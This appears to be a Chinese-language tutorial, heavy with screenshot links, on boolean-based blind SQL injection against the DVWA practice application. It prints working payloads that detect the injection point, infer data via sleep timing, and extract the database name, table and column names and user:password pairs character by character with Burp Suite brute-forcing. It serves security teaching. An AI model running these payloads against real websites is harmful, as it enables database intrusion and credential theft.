5.布尔盲注
原理
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302015-1474449093.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303921-1003462360.png)
有一种界面,像这种不会把数据体现在表面的界面
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301275-208012007.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300847-1085496484.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301130-863482532.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300836-601162942.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300945-614083363.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300910-1308788359.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301156-781461849.png)
这种一点都看不出来有没有可控变量的页面,看不出来能不能用正常的字符型SQL注入或数字型SQL注入破解,所以,这时候要换个思路
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304604-1232205605.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303563-2114234706.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303744-1359836923.png)
布尔型盲注
盲注判断
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303955-969954348.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304694-985786045.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301269-1288724668.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301558-775089228.png)
字符型判断
看几次字符型的返回结果一不一样
构建语句
1' and 1=1--+
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301220-1919473587.png)
1' and 1=2--+
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301196-715679817.png)
两次结果不一样,说明存在盲注点
延迟性判断
利用sleep函数将数据库睡眠5秒
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303320-1836422724.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301153-2091198669.png)
返回包的时间为5秒
将睡眠时间改为6秒
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302699-399276424.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301906-107875915.png)
返回时间变为6秒
由此可知,延迟性判断为真
此处存在布尔型盲注的注入点
布尔型注入攻击
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304652-1363908627.png)
原理
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302202-1773154088.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301934-1441952659.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303378-234268812.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303894-789740220.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301131-1663136466.png)
最常用的布尔型注入点判断方法
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300975-2113865307.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300873-27862276.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300865-1497531768.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100300801-154163131.png)
两次结果不一样,存在注入点
注入获取敏感信息
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303760-2082879601.png)
三个参数分别为字符串,开始截取位置,截取长度
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301779-549281659.png)
这里的字符串可以变为查询语句
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301322-235208971.png)
借此,提取敏感信息
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301571-1958757518.png)
因为这种页面不会返回具体数据,只会返回对错两种,所以我们要对返回的结果进行猜测
将查询到的数据
如if(substring(database(),1,1)='d',1,0)
这里database()的查询结果为dvwa
猜测数据库第一个字符为d正确
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301505-1670531390.png)
猜测数据库第二个字符为v正确
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301628-1766287498.png)
因为提取起始位置为第一个字符,提取长度为1个字符,所以最终提取到的结果为字符d
因为页面不会返回具体数据,所以我们需要以对错的形式,看页面报不报错,来判断字符的正确性,正确返回1,错误返回0
以此判断结果的值为多少
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302145-1232861088.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303830-1147706617.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302961-1213442342.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302652-1363299035.png)
获取全部单个字符后,将全部单个字符拼接起来,就可以得到真实的敏感信息了
黑盒测试下的布尔盲注流程
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303748-935987713.png)
长度判断
length(database())查询字段长度
length(database())=4,1,0
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301294-1492570371.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304713-894690890.png)
然后利用判断语句,判断长度值
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301816-589962169.png)
逐个字符判断
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301748-1844675998.png)
正确页面
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303769-582515456.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303166-578713047.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301077-987582927.png)
穷举操作
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301149-224563324.png)
BP选中这个模式
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304718-1572373078.png)
将包利用bp抓取下来,进行穷举
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304428-1162584403.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302565-1334645430.png)
提取到结果,拼接后,可获得数据库名称
表名获取
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302869-1042174477.png)
判断第一个表名的第一个字符为g
substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301824-1238959792.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301502-2039352613.png)
获取第一个表名
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301374-2091850556.png)
获取数据库第二个表名
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302839-2143262319.png)
判断第一个字段名为u
if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0)获取字段名
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301186-1301058321.png)
判断成功
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301129-105078115.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303326-1461949889.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301631-758519656.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304306-438011167.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304583-1939097420.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303226-1371159293.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303346-1331735413.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303453-1156591776.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304040-42763466.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304304-478377528.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304812-1781033989.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304714-726193314.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302182-1446578197.png)
得到结果
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100303923-414364674.png)
获取数据
输入注入语句,判断users表中第一个数据首字母是不是a
?id=1' and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)
或者
?id=1' and if(substring((select CONCAT(user,PASSWORD) from users limit 1),1,1)='a',1,0)
这当中的0x3a是为了让返回值更好看,加不加无所谓
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301196-1854254823.png)
判断成立
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302145-1827247582.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100302879-987319062.png)
bp穷举
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100304360-1441893240.png)
穷举成功
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100301319-772311062.png)